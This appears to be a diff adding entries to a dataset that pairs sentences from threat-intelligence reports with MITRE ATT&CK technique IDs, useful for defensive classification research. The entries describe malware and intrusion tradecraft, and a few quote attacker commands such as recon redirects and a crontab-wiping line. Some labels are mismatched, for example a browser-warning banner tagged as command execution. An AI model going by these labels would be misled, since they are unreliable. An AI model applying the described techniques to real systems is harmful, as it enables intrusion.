+The xmrig mining process joins the supportxmr mining pool using the wallet address 428uyvSqdpVZL7HHgpj2T5SpasCcoHZNTTzE3Lz2H5ZkiMzqayy19sYDcBGDCjoWbTfLBnc3tc9rG4Y8gXQ8fJiP5tqeBda. At the time of writing, the malware campaign has ~25.05 KH/s hashing power and there is 11 XMR (~$1,500) in the wallet	['T1496']
+The primary goal of the Dark Halo threat actor was to obtain the e-mails of specific individuals at the think tank. This included a handful of select executives, policy experts, and the IT staff at the organization. Volexity notes its investigations are directly related to the FireEye report based on overlap between command-and-control (C2) domains and other related indicators such as a backdoored server running SolarWinds Orion	['T1114.002']
+Finally, it creates and runs a shell script at /tmp/.server.sh, which also establishes a reverse shell	['T1059.003', 'T1059.004']
+As with campaigns attributed to BlackEnergy group the attackers used spearphishing emails with Microsoft Excel documents attached that contain malicious macros as an initial infection vector. This time malicious documents don’t have any content with social engineering directing potential victims to click an Enable Content button	['T1566.001']
+1) The infection chain used in this attack begins with a weaponized link to a Google Drive folder, obfuscated using the goo.gl link shortening service. 2) When contacted, the Google Drive link retrieves a zip file, which contains a .lnk file obfuscated as a .pdf file using the double extension trick. MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs. 4) The .lnk file uses an embedded VBScript component to retrieve a decoy PDF file and a PowerShell script from the adversary-controlled web page. 5) The PowerShell script creates a Cobalt Strike stager payload. This PowerShell script also retrieves an XOR-encoded Cobalt Strike beacon payload from an adversary-controlled domain. 6) The Cobalt Strike Beacon implant beacons to the command-and-control (C2) IP address, which is used to remotely control the implant	['T1027']
+When executing the code, the browser creates an invisible image tag and sets the URL to an attack server using the file:// protocol scheme. On Windows machines, this triggers a request to a remote server via the Samba networking protocol (SMB) that also transmits the user’s login NTLM hash. These hashes can be cracked to retrieve the original login password by methods of brute-force, dictionary, or rainbow table lookups	['T1003.004', 'T1552.001', 'T1555.003', 'T1003.005', 'T1555', 'T1003.001']
+The ProgramArguments tell us where GrowlHelper is installed and that it takes at least one command line argument (-f). The RunAtLoad key confirms the implant will run every time the user logs in. To get an overview of the installation process, we can monitor file system activity for GrowlHelper events	['T1546.004']
+TrickBot has arguably been one of the most popular Trojans for the past couple of years, used by threat actors mostly because of its modular design and highly resilient infrastructure. Bitdefender researchers even analyzed one of its modules earlier this year, particularly because it targeted telecom, education, and financial services in the US and Hong Kong	['T1090.002']
+When executed, BoomBox ensures that a directory named NV is present in its current working directory; otherwise it terminates. If the directory is present, BoomBox displays the contents of the NV directory in a new Windows Explorer window (leaving it up to the user to open the PDF file	['T1480', 'T1083', 'T1480', 'T1480']
+Like many other phishing attacks, in this phishing campaign, Charming Kitten uses a fake SMS (Figure 1) to trick their victims. They send confirmation messages stating ‘Google Account Recovery’ to their targets; they claim these messages are sent by Google and the user must follow the link in the SMS to confirm the identity	['T1598.003']
+Viewing results Commands scheduled with at run as background processes. Output is not displayed on the computer screen. To redirect output to a file, use the redirection symbol (>). If you redirect output to a file, you need to use the escape symbol (^) before the redirection symbol, whether you are using at at the command line or in a batch file. For example, to redirect output to Output.text, type: at 14:45 c:\test.bat ^>c:\output.txt The current directory for the executing command is the systemroot folder. Changing system time If you change the system time at a computer after you schedule a command to run with at, synchronize the at scheduler with the revised system time by typing at without command-line options. Storing commands Scheduled commands are stored in the registry. As a result, you do not lose scheduled tasks if you restart the Schedule service. Connecting to network drives Do not use a redirected drive for scheduled jobs that access the network. The Schedule service might not be able to access the redirected drive, or the redirected drive might not be present if a different user is logged on at the time the scheduled task runs. Instead, use UNC paths for scheduled jobs	['T1053.002']
+BUBBLEWRAP is a full-featured backdoor that is set to run when the system boots, and can communicate using HTTP, HTTPS, or a SOCKS proxy	['T1071.001']
+BITSAdmin is a command-line tool that you can use to create download or upload jobs and monitor their progress. For full, comprehensive documentation of the tool and all of its commands, see bitsadmin and bitsadmin examples in the Windows IT Pro Center	['T1105']
+Once the malware starts it tries to reach a hardcoded C2. The communication takes place using the unmodified HTTP-based protocol, the request and response body are RC4-encrypted, and the encryption key is also hardcoded into the sample. As the result of the RC4 encryption may contain binary data, the malware additionally encodes it in BASE64, to match the HTTP specification	['T1071.001']
+TG-3390 uses DLL side loading, a technique that involves running a legitimate, typically digitally signed, program that loads a malicious DLL. The DLL acts as a stub loader, which loads and executes the shell code. The adversaries have used this technique to allow PlugX and HttpBrowser to persist on a system	['T1574.002']
+1) User must open the Microsoft Word email attachment 2) User must scroll to page three of the document, which will run the DealersChoice Flash object 3) The Flash object must contact an active C2 server to download an additional Flash object containing exploit code 4) The initial Flash object must contact the same C2 server to download a secondary payload 5) Victim host must have a vulnerable version of Flash installed	['T1203']
+This agent also built in a function aptly named “DeleteLeftovers,” to remove certain artifacts of the attack	['T1070']
+In addition to the aforementioned DOCX file, we found another related DDE enabled document based on an infrastructure overlap with a Zebrocy C2 IP address. This related delivery document was an RTF file that downloaded and installed a payload used to load the open-source Koadic tool. We do not have telemetry on the target or attack vector, but we know the RTF file used DDE to download and execute an executable that loaded Koadic. We believe the actor used a cryptor on the payload, as it obtains a filename and script from within its resources and decodes these resources by multiplying each byte by negative one. The payload then uses the MD5 hash (14331d289e737093994395d3fc412afc) of what appears to be a hardcoded SHA1 hash (B6A75B1EF701710D7AEADE0FE93DE8477F3BD506) as an RC4 key to decrypts the resulting decoded data. The embedded VBScript is retrieved from a resource and decrypted using the same algorithm as discussed above, which results in the following cleartext	['T1140']
+Impersonation using Kerberos pass-the-ticket attacks (Mimikatz PowerShell) - Email extraction from the MS Exchange Server using compromised credentials - Archiving sensitive information - Data exfiltration via legitimate cloud services - Secure file deletion	['T1059.001', 'T1550.003', 'T1114.002', 'T1078']
+Computer name - System info using: cmd /c systeminfo >%temp%\temp.ini - List of currently running process using: cmd /c tasklist >%temp%\temp.ini	['T1082']
+Different drivers will be loaded based on the system version. The malware uses IsWow64Process to determine which driver version to load. These drivers are stored in the resource section of the binary and are compressed with the Lempel-Ziv algorithm. The driver file is written to system32\drivers with a 4-character, pseudo-randomly generated name. This file is then decompressed using LZCopy to a new file with a “.sys” extension	['T1027', 'T1140']
+The main purpose of P8RAT is downloading and executing payloads (consisting of PE and shellcode) from its C2 server	['T1001.001']
+Throughout 2017 and 2018 Unit 42 has been tracking and observing a series of highly targeted attacks focused in South East Asia, building on our research into the KHRAT Trojan. Based on the evidence, these attacks appear to be conducted by the same set of attackers using previously unknown malware families. In addition, these attacks appear to be highly targeted in their distribution of the malware used, as well as the targets chosen. We believe this group is previously unidentified and therefore have we have dubbed it “RANCOR”. The Rancor group’s attacks use two primary malware families which we describe in depth later in this blog and are naming DDKONG and PLAINTEE. DDKONG is used throughout the campaign and PLAINTEE appears to be new addition to these attackers’ toolkit. Countries Unit 42 has identified as targeted by Rancor with these malware families include, but are not limited to	['T1059.005', 'T1105']
+To avoid detection, the macros employ simple obfuscation of interesting strings that ultimately just used base64 encoding. However, it used a somewhat unusual method where it would first convert the base64-encoded text into hex, and then convert that hex into a text string	['T1027']
+Some additional log file analysis reveals that a dotm file hosted with a. jpg extension was accessed by an Israeli IP address. This IP address likely belongs to a victim in Israel that executed the main DOCX. Based on the analysis of the user-agent string belonging to the Israel IP address Microsoft+Office+Existence+Discovery indicates that the dotm file in question was downloaded from within Microsoft Office (template injection	['T1480']
+"1) It uses the application programming interface (API) CreateFileA to \\.\PHYSICALDRIVE0 to retrieve the handle of the hard disk. 2) It overwrites the first sector of the disk (512 bytes) with ""0x00"". The first sector is the disk’s MBR. 3) It will try to perform the routines above (steps 1-2) on \\.\PHYSICALDRIVE1, \\.\PHYSICALDRIVE2, \\.\PHYSICALDRIVE3, and so on, as long as a hard disk is available"	['T1082']
+Upon further inspection, Kroll learned that an employee using their work computer had clicked on a malicious link from their personal email account that downloaded a Qakbot dropper	['T1059.005']
+This activity has TTP and targeting overlap with previous activity, suspected to be APT29. The 2018 and 2016 LNK files are similar in structure and code, and contain significant metadata overlap, including the MAC address of the system on which the LNK was created	['T1204.001', 'T1566.001']
+APT19 used three different techniques to attempt to compromise targets. Toward the end of May, APT19 switched to using macro-enabled Microsoft Excel (XLSM) documents. In the most recent versions, APT19 added an application whitelisting bypass to the XLSM documents	['T1218.010']
+WastedLocker aims to encrypt the files of the infected host. However before the encryption procedure runs, WastedLocker performs a few other tasks to ensure the ransomware will run properly	['T1574.001']
+Attempted to blend in with a file name that matched the system name it resided on - Configured for WMI persistence (generally uncommon in 2019) - Used likely compromised infrastructure for C2 - Masquerades its command-and-control (C2) traffic as legitimate Google Notifications HTTP requests	['T1071.001', 'T1001']
+In most systems compromised by Kobalos, the SSH client is compromised to steal credentials. This credential stealer is unlike any of the malicious OpenSSH clients we’ve seen before, and we’ve looked at tens of them in the past eight years. The sophistication of this component is not the same as Kobalos itself: there was no effort to obfuscate early variants of the credential stealer. However, we found newer variants that contain some obfuscation and the ability to exfiltrate credentials over the network	['T1048']
+The C2 server can also send a PowerShell command to capture and store a screenshot of a victim’s system. POWRUNER will send the captured screenshot image file to the C2 server if the “fileupload” command is issued. Figure 6 shows the PowerShell “Get-Screenshot” function sent by the C2 server	['T1113']
+At installation, the MSI file drops three files and creates one hidden directory (UFile) into C:\ProgramData\Apple\Update\, likely as a ruse	['T1564.001', 'T1564.001']
+On execution, the MSI downloader starts by checking if it is running in a virtual machine. If not, downloads a zip file, unzips it, deletes itself, establishes persistency and restarts the system	['T1140', 'T1102.003']
+ServHelper’s payload, an NSIS Installer signed with a valid digital signature (further details on the certificate ahead), is downloaded by msiexec.exe to its temporary folder (C:\Windows\Installer\MSI[4-charachter-string].tmp) and executed	['T1218.007']
+secretsdump.py: Performs various techniques to dump secrets from the remote machine without executing any agent there. For DIT files, we dump NTLM hashes, Plaintext credentials (if available) and Kerberos keys using the DL_DRSGetNCChanges() method. It can also dump NTDS.dit via vssadmin executed with the smbexec/wmiexec approach. mimikatz.py: Mini shell to control a remote mimikatz RPC server developed by @gentilkiwi	['T1003.004', 'T1003.002', 'T1003.003', 'T1003.001']
+To recap, on September 18, 2017, we disclosed that CCleaner had been targeted by cybercriminals, in order to distribute malware via the CCleaner installation file. The altered installation file was downloaded by 2.27 million CCleaner customers worldwide. The malware was introduced to the build server of Piriform, the company developing CCleaner, some time between March 11 and July 4, 2017, prior to Avast’s acquisition of Piriform on July 18, 2017	['T1195.002']
+These credentials are used in a credential stuffing or password spraying attack against the victim’s remote services, such as webmail or other internet reachable mail services. After obtaining a valid account, they use this account to access the victim’s VPN, Citrix or another remote service that allows access to the network of the victim. Information regarding these remotes services is taken from the mailbox, cloud drive, or other cloud resources accessible by the compromised account. As soon as they have a foothold on a system (also known as patient zero or index case), they check the permissions of the account on that system, and attempt to obtain a list of accounts with administrator privileges. With this list of administrator-accounts, the adversary performs another password spraying attack until a valid admin account is compromised. From here on the adversary stops using the victim’s remote service to access the victim’s network, and starts using the Cobalt Strike beacon for remote access and command and control	['T1082']
+This dynamic link library appears to be a legitimate version of libcurl.dll except for a single exported function, which is referred to as ordinal #52 and curl_share_init in the analyzed sample. This function has been modified by threat actors to extract a resource contained within libcurl.dll, decrypt malicious data included in that resource, and load the resulting DLL to execute a malicious function. When this function is executed, the SodomNormal communications module begins running within Libcurl.dll	['T1140']
+Wscript.exe does a number of things: It deletes the original QakBot.vbs and writes four files to disk in %APPDATA% induce.flac, pep.csv, rhythm.tex and senate.m4a. Senate.m4a is deleted after full process execution	['T1070.004']
+These privilege escalation modules are the ones we caught when we queried for Jian’s global configuration table. We also found a couple of more Local Privilege Escalation exploits from the NtElevation series	['T1068']
+First, several of these commands contain checks to determine the environment in order to use appropriate paths or commands. The ‘tasklist’ command will use a WMI query or the “ps” command, which allows Kazuar to obtain running processes from both Windows and Unix systems. Also, Kazuar’s ‘cmd’ command will run commands using “cmd.exe” for Windows systems and “/bin/bash” for Unix systems. These two commands provide evidence that the authors of Kazuar intended to use this malware as a cross-platform tool to target both Windows and Unix systems	['T1059.003']
+All the commands received from the C2 are first saved to an auxiliary file and then stored encrypted in the system registry. The standalone thread will decrypt and execute them	['T1059.003', 'T1047']
+sifo – Collect victim system information - drive – List drives on victim machine - list – List file information for provided directory - upload – Upload a file to the victim machine - open – Spawn a command shell	['T1082', 'T1083', 'T1105', 'T1082', 'T1083']
+The buffer containing the ZxShell Dll in the new location is freed using the VirtualFree API function. A handle to the DLL file is taken in order to make its deletion more difficult. The ZxShell mutex is created named @_ZXSHELL_	['T1218.011']
+"Use of Open Source Tools In an attempt to avoid detection and as an anti-analysis tactic, the OilRig group abused an open source tool called Invoke-Obfuscation to obfuscate the code used for QUADAGENT. Invoke-Obfuscation is freely available via a Github repository and allows a user to change the visual representation of a PowerShell script simply by selecting the desired obfuscation techniques. Invoke-Obfuscation offers a variety of obfuscation techniques, and by analyzing the script we were able to ascertain the specific options in this attack. After identifying the specific options used to obfuscate QUADAGENT, we were able to deobfuscate the PowerShell script and perform additional analysis. We found two obfuscation techniques applied to the script: the first one changing the representation of variables; the second one changing the representation of strings in the script. Invoke-Obfuscation calls the string obfuscation used by the actors to further obfuscate this script Reorder, which uses the string formatting functionality within PowerShell to reconstruct strings from out of order substrings (ex. 1}{0}"" -f 'bar','foo'). During our analysis, we installed Invoke-Obfuscation and used it to obfuscate a previously collected QUADAGENT sample to confirm our analysis"	['T1059.001']
+Further into the infection process, the malware chooses a service name randomly from netsvc in order to use it for the payload creation path. The malware then creates a file named bcdbootinfo.tlp in the system folder containing the infection time and the random service name that is chosen. We’ve discovered that the malware operator checks this file to see whether the remote host was infected and, if so, when the infection happened	['T1547.001']
+Between August 2 and 4, the actor sent targeted spearphishing emails containing malicious URLs linking to documents to multiple defense contractors	['T1204.001']
+The module gathers information about the user and attempts to verify whether this is a local admin or a domain admin. This shows that after infecting the machine, Valak chooses to target mainly administrators and domain admins. This indicates a propensity to target higher profile accounts such as enterprise admins	['T1087.001', 'T1087.002']
+The initial routine decrypts selected parts of the code section using XOR with a hardcoded value	['T1027']
+A second method consists to use the CredEnumerateW Windows API. Finally, Perfc.dat contains three embedded executables in its resource section which are compressed with zlib. Two of the executables are used to recover user credentials (32 and 64 bits) while the third one is the PsExec binary	['T1021.002']
+It can download and execute arbitrary code provided from the C&C server, as well as maintain a virtual file system (VFS) inside the registry. The VFS, and any additional files created by the code, are encrypted and stored in a location unique to each victim	['T1027']
+In June 2015, a number of web portal email accounts were hacked, sending emails with malicious Hangul document files and phishing emails to steal portal account credentials. In January 2016, a large number of emails with malicious attachments were sent under the guise of ‘Office of National Security at the Blue House’ to government research institutes. Analysis by related organizations identified the malicious attachment as Kimsuky malware [3	['T1586.002']
+Both malicious programs share the code for LZMA compression algorithm. In CloudAtlas it is used to compress the logs and to decompress the decrypted payload from the C&C servers, while in Red October the “scheduler” plugin uses it to decompress executable payloads from the C&C	['T1059.001', 'T1059.005']
+"X-Session: 0""). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. The malware can be configured to use multiple network protocols to avoid network-based detection. DLL side loading is often used to maintain persistence on the compromised system. Antivirus detection for HttpBrowser is extremely low and is typically based upon heuristic signatures. DLL side loading has been used to maintain persistence on the compromised system. More information about HttpBrowser is available in Appendix B. HttpBrowser URI. Source: Dell SecureWorks) - ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system. TG-3390 has used additional web shells containing similarly formatted passwords"	['T1071.004']
+Similar to RIPTIDE campaigns, APT12 infects target systems with HIGHTIDE using a Microsoft Word (.doc) document that exploits CVE-2012-0158. FireEye observed APT12 deliver these exploit documents via phishing emails in multiple cases. Based on past APT12 activity, we expect the threat group to continue to utilize phishing as a malware delivery method	['T1203']
+The screenshot in Figure 8 of the inf method within a Cannon sample (SHA256: 4405cfbf28. ) shows the information gathered that is exfiltrated to the C2 via email, specifically with RunningPlace and LogicalDrives header strings	['T1082']
+The second generation (2.x) was used to conduct an attack which we investigated during its active stage. We successfully prevented data transfer to the cybercriminals’ server and isolated the infected systems in the company’s local network. The incidents, as well as results of our investigation, are described in the full report on the Winnti group (PDF	['T1014']
+"Conficker will copy itself with a random name into the system directory %systemroot%\system32 and register itself as a service. The remote computer will then download the worm from the URL given and then start to infect other machines as well. Upon successful infection, it will also patch the hole to prevent other worms to infect the machine"" (Racicot"	['T1046', 'T1112']
+On October 28, we observed APT3 sending out spearphishing messages containing a compressed executable attachment. The deflated exe was a variant of the same downloader described above and connected to 198.55.115.71 over port 1913 via SOCKS5 proxy. The secondary payload in that case was detected as Backdoor.APT.CookieCutter (aka Pirpi) and also named newnotepad.exe (MD5 8849538ef1c3471640230605c2623c67) and connected to the known APT3 domains	['T1090.002', 'T1095']
+You are using Microsoft Internet Explorer. We recommend using Chrome or Firefox for the best experience	['T1059.003']
+In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server. The configuration blob is encoded using a simple single-byte XOR scheme. The first byte of the string is used as the XOR key to in turn decode the remainder of the data	['T1573.001']
+We named Lazarus the most active group of 2020. We’ve observed numerous activities by this notorious APT group targeting various industries. The group has changed target depending on the primary objective. Google TAG has recently published a post about a campaign by Lazarus targeting security researchers. We have seen Lazarus attack various industries using this malware cluster before. In mid-2020, we realized that Lazarus was launching attacks on the defense industry using the ThreatNeedle cluster, an advanced malware cluster of Manuscrypt (a.k.a. NukeSped). While investigating this activity, we were able to observe the complete life cycle of an attack, uncovering more technical details and links to the group’s other campaigns	['T1005', 'T1566.002', 'T1204.002']
+Once the initial computer on the targeted organization’s network is infected with Vcrodat, Whitefly begins mapping the network and infecting further computers. The attackers rely heavily on tools such as Mimikatz to obtain credentials. Using these credentials, the attackers are able to compromise more machines on the network and, from those machines, again obtain more credentials	['T1588.002', 'T1068']
+The diagram below illustrates the methodology used by the actor to communicate with the FoggyWeb backdoor located on a compromised internet-facing AD FS server	['T1071.001']
+id — the generated unique identifier of the infected host - message — the Base64-encoded output from the newly created cmd.exe console process	['T1027']
+The archive contains a legitimate older version of Microsoft Word (Microsoft Word 2007) executable file that is named ‘Noi dung chi tiet don khieu nai gui cong ty.exe’ which translates to ‘Learn more about how to use your company’ in English. The attacker used the DLL side loading technique to load a malicious DLL by the older version of Microsoft Word. When opening the executable file in the archive, it loads the malicious DLL in the same directory. The DLL executes multi-stage shellcodes and each shellcode employs various technique to hide the next stage	['T1574.002']
+Summary In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file’s contents. Attacks using Bisonal have been blogged about in the past. We believe it is likely these tools are being used by one group of attackers. Though Bisonal malware has been in the wild for at least seven years and frequently updated, the actors keep using same high-level playbooks. Common features of attacks involving Bisonal include	['T1105']
+After decoding the PDF and AppleSeed payload, the content gets written into the ProgramData directory. At the end, the decoy PDF file is opened by calling Wscript.Shell.Run and the AppleSeed payload executed through PowerShell by calling regsvr32.exe. Calling regsvr32.exe to run a DLL registers it as a server that automatically calls the DLL export function that has been named DllRegisterServer	['T1218.010']
+To illustrate a real example of how this worked and looked to a website visitor, the following section will use one of the few pages of the fake site baomoivietnam[.]com that was designed to profile visitors and deliver malware or a phishing link. On this site, a news story (https://www.baomoivietnam[.]com/dai-hoc-ton-duc-thang-hieu-truong-lam-quyen-de-xay-ra-sai-pham/) about an investigation into potential improper conduct by a university professor in Vietnam contained malicious content. Once the page was accessed, a special OceanLotus server on the hostname cdn.arbenha[.]com would be leveraged to load malicious JavaScript to load a fake video player. At first, the page would display a dialog indicating that the video was loading (Đang tải) as shown in Figure 1 below	['T1598.003']
+In November 2019, when MegaCortex v4 appeared, there was a rollback of sorts, bringing the Base64 key back into play and using it to decrypt the malware’s components. The implementation was not the same as previous versions, with that Base64 key embedded into the binary and then passed to a decrypting function instead of passing it as an argument to the command-line	['T1140']
+The script sets up a new HTTP object and then tries to disable the system's local proxy settings	['T1562.001']
+Bisonal main module The DLL (pvcu.dll) is Bisonal malware but using a different cipher for C2 communication that other publicly documented samples. Booz Allen Hamilton in 2014 and AhnLab in 2015 reported on Bisonal using a simple XOR cipher to hide the C2 address strings in the body. The Bisonal sample we observed in this case employs the RC4 cipher with the key “78563412”. To date, all Bisonal samples we have seen using RC4 use this same key. The oldest sample we have dates to 2014, so this variant has been in the wild for several years. For example, the Bisonal malware in 2012 used send() and recv() APIs to communicate with its C2	['T1082', 'T1071.001', 'T1140']
+When executed, QakBot will check whether it has previously been executed on the machine by checking for the specified malware folder. If QakBot discovers it is a first time run, it will relaunch itself from cmd.exe with the /C parameter that will inform the loader to proceed and run its Anti-VM checks on the machine and return the results to the parent process. If QakBot detects it is running in a VM environment, then the final payload will not be decrypted since QakBot uses the return value from these checks in its final decryption routine. Figure 7 below shows the QakBot environment check logic	['T1057', 'T1055.012', 'T1059.003', 'T1083']
+loaddl: a command responsible for downloading and executing additional modules using the rundll32.exe process. selfkill: a command that is responsible for self-terminating and deleting the malware from the machine	['T1105']
+WMI permanent event subscriptions can be used to trigger actions when specified conditions are met. Attackers often use this functionality to persist the execution of backdoors at system start up. Subscriptions consist of three core WMI classes: a Filter, a Consumer, and a FilterToConsumerBinding. WMI Consumers specify an action to be performed, including executing a command, running a script, adding an entry to a log, or sending an email. WMI Filters define conditions that will trigger a Consumer, including system startup, the execution of a program, the passing of a specified time and many others. Creating a WMI permanent event subscription requires administrative privileges on a system	['T1546.003']
+The RTF file contains macro codes that will execute a PowerShell command to retrieve a dynamic-link library (DLL) file before executing it using odbcconf.exe, a command-line utility related to Microsoft Data Access Components. The DLL will drop and execute a malicious JScript using regsvr32.exe, another command-line utility, to download another JScript and execute it using the same regsvr32.exe. During analysis, we received a PowerShell command that downloads Cobalt Strike from hxxps://5[.]135[.]237[.]216[/]RLxF	['T1059.001', 'T1218.010', 'T1218.008']
+In additional to the browsers credential stealer, Olympic Destroyer drops and executes a system stealer. The stealer attempts to obtain credentials from LSASS with a technique similar to that used by Mimikatz	['T1555.003', 'T1003.001']
+The SOMBRAT backdoor is packaged as a 64-bit Windows executable. It communicates with a configurable command and control (C2) server via multiple protocols, including DNS, TLS-encrypted TCP, and potentially WebSockets. The backdoor's primary purpose is to download and execute plugins provided via the C2 server. In contrast to the SOMBRAT version published in November 2020, Mandiant observed additional obfuscation and armoring to evade detection, this SOMBRAT variant has been hardened to discourage analysis. Program metadata typically included by the compiler has been stripped and strings have been inlined and encoded via XOR-based routines	['T1095']
+As seen in the above image, the Bazar backdoor can handle quite a few commands. This next section focuses on case 1, which retrieves various pieces of additional information on the infected machine	['T1005']
+2) Scan the network environment of the infected machine; checks for availability of specific ports on servers that share the same internal and external subnet mask (i.e 255.255.0.0\16). 3) Try to exploit the following Remote Code Execution vulnerabilities in the targeted servers	['T1046']
+Harvest cookies and a password database for supported browsers. Supports: Win7 IE, Win10 IE, Edge, Chrome, and Naver Whale - Recursively search a path and upload file metadata (timestamps, size, and full path). - Spawn a thread to recursively search a path and upload files as a ZIP archive	['T1539']
+A recent Lokibot campaign has been spotted, which made use of a tunneling service to spread the malware. According to My Online Security, threat actors behind this campaign leveraged a service known as Ngrok. As claimed on the website, Ngrok reveals servers in NATs and Firewalls over secure tunnels. Hence, the service acted as a direct tunnel or a VPN which the actors exploited to push the malware through spam emails	['T1572']
+The script itself works as a downloader for additional files needed for loading the malware into the system, which are hosted separately as a ZIP package. We confirmed two different techniques used for distributing the Melcoz backdoor: the AutoIt loader script and DLL Hijack	['T1105']
+The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.Leash. We discovered this connection when we observed a DropIt sample installing a backdoor Trojan that used IRC for its C2 communications	['T1113']
+5) Downloads the ‘kinsing’ malware and runs it 6) Uses crontab to download and run the shell script every minute 7) Looks for other commands running in cron, and if ones were identified, deletes all cron jobs, including its own. We are not certain why the attackers chose to do so, but that is what the script executes:crontab -l || sed '/update.sh/d' || crontab	['T1059.004', 'T1053.003']
+Once on a victim’s PC, the dropper executable is launched and it decrypts and loads the Gh0stRAT DLL into memory. It then passes the config buffer to the extracted DLL and calls the exported function (Shellex	['T1129']
+The Warzone RAT can steal credentials from the Outlook and Thunderbird email clients as shown in the image below (figure 10	['T1555.003']
+Emotet could be dropping malware with Remote Access Trojan (RAT) capabilities damaging the integrity of the overall network. After reviewing systems for Emotet indicators, reimage and move clean systems to a containment VLAN, segregated from the infected network. It is possible that the Outlook account may now have rules to auto-forward all emails to an external email address, which could result in a data breach. Search base64 encoded network stream data referencing the organization’s email domain. If references are found, perform additional analysis to see if a data breach has occurred	['T1114.001']
+Attack overview . Flagpro is used in the initial stage of attacks to investigate target’s environment, download a second stage malware and execute it. Flagpro communicates with a C&C server, and it receives commands to execute from the server, or Flagpro downloads a second stage malware and then executes it. Therefore, Flagpro may have already been used for attacking cases at that point. We call this sample using MFC as “Flagpro v2.0” and old one as “Flagpro v1.0” in this article. Once Flagpro is launched, it communicate with a C&C server and executes the received commands as shown in the above list. If it is not included in both Download Command fields in the command, Flagpro will not execute the main processes such as downloading, executing OS commands, collecting authentication information, and so on. If a Download Command field has “ExecYes”, Flagpro downloads and executes the file. In requesting commands, sending execution results of OS commands or collected authentication information, Flagpro accesses a C&C server with specific URL paths and queries. Following image is an example of the response: Detections . To detect attacks using Flagpro, it is effective to create and install custom signature both on network and endpoint devices. In addition, the investigation commands after Flagpro establishes the connection with the C&C server like following are also useful for detection	['T1069.001']
+Figure 5 Uploading a file to server via RGDoor Downloading a file from the server via RGDoor	['T1105']
+"If the configuration is parsed successfully, the program writes the string ""Meteor has started. to an encrypted log file, suggesting that the internal name of the malware is “Meteor“. As we will see later on in this article, another name was used in previous attacks. Throughout the entire execution of the malware, it keeps logging its actions to this same encrypted log file. Appendix C contains a helper script to decrypt the log file"	['T1105']
+Alongside evidence of compromise of the organization itself, Symantec also found a copy of one of the company’s own files, relating to its messaging software, on a staging server used by Chafer. The file was in a directory alongside a number of hacking tools used by the attackers	['T1005']
+Skidmap uses fairly advanced methods to ensure that it and its components remain undetected. For instance, its use of LKM rootkits — given their capability to overwrite or modify parts of the kernel — makes it harder to clean compared to other malware. In addition, Skidmap has multiple ways to access affected machines, which allow it to reinfect systems that have been restored or cleaned up	['T1059.004']
+During this activity, we noticed the wiper changing the system time to August 2012, as the temporary license key for the RawDisk driver requires the system time to not exceed the month of August, which is when the temporary license would expire. This modification to the system time was seen in the previous campaign, and the temporary license key within the wiper component is the exact same as wiper component from the 2012 attacks. The wiper itself queries the following registry keys to obtain a list of partitions to overwrite	['T1012']
+Of note, we also discovered the Sofacy group using a very similar delivery document to deliver a new Trojan called Cannon. Cannon uses SMTPS and POP3S as its C2 channel compared to Zebrocy that uses a more commonly observed HTTP or HTTPS based C2. Add the layer of encryption that the SMTPS and POP3S protocols provide to the legitimate web-based service and you have a very difficult C2 channel to block	['T1071.003']
+If you use /p, del displays the name of a file and sends the following message: FileName, Delete (Y/N)? To confirm the deletion, press Y. To cancel the deletion and display the next file name (that is, if you specified a group of files), press N. For example, the following command deletes all of the files in the \Work folder: Copy del \work - You can use wildcards (* and ?) to delete more than one file at a time. However, to avoid deleting files unintentionally, you should use wildcards cautiously with the del command. For example, if you type the following command: Copy del *.* The del command displays the following prompt: Are you sure (Y/N)? To delete all of the files in the current directory, press Y and then press ENTER. To cancel the deletion, press N and then press ENTER	['T1070.004']
+To do this, Tick uses a number of publicly available hacktools such as Mimikatz, GSecdump, and Windows Credential Editor	['T1003.001']
+Win32/Diskcoder.D has the ability to spread via SMB. First, it scans internal networks for open SMB shares. It looks for the following shares	['T1135']
+In January 2016 we published our analysis of a spearphishing attack against energy companies in Ukraine. That attack probably has a connection to the infamous BlackEnergy attacks in 2015 because the attackers used exactly the same mail server to send spearphishing messages. However, the attacks in January 2016 were different. Instead of using the BlackEnergy malware family, the attackers used a relatively simple open-source backdoor, written in the Python programming language, called GCat. The Python code of the GCat backdoor was obfuscated, then converted into a stand-alone executable using the PyInstaller program	['T1070.004']
+"HttpBrowser is a remote access tool whose name originates from the hard-coded ""HttpBrowser/1.0"" User-Agent. Table 2 lists the commands available to threat actors in one of the HttpBrowser variants"	['T1083']
+"When the malicious RTF document is opened, two things happen that allow the attacker malware to run. First, the ""packager trick"" is leveraged in order to embed the initial QuasarRAT dropper (qrat.exe) in the malicious RTF document. Its called the ""packager trick"" because any file embedded in an RTF file using packager will be automatically dropped to the %tmp% folder (c:\Users\%username%\AppData\Local\Temp) when the RTF document is opened. Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious ""scriptlet"" file, or .sct file, which is also embedded in the malicious RTF document. The contents of the malicious scriptlet file (displayed below) clearly show the threat actor executing the initial ""qrat.exe"" dropper from the current user's %tmp% directory"	['T1204.002']
+It uses two components to avoid detection by a single component. The dropper uses an old trick in a new way: It appends the RAT to a Word document. Upon opening the document, a macro is executed that will extract the malware and execute it	['T1059.005']
+Finally, the attacker added their own devices as allowed IDs for active sync for a number of mailboxes using Set-CASMailbox	['T1098.005', 'T1098.002']
+SDBbot is a new remote access Trojan (RAT) written in C++ that has been delivered by the Get2 downloader in recent TA505 campaigns. Its name is derived from the debugging log file (sdb.log.txt) and DLL name (BotDLL[.]dll) used in the initial analyzed sample. It also makes use of application shimming [1] for persistence	['T1566.001']
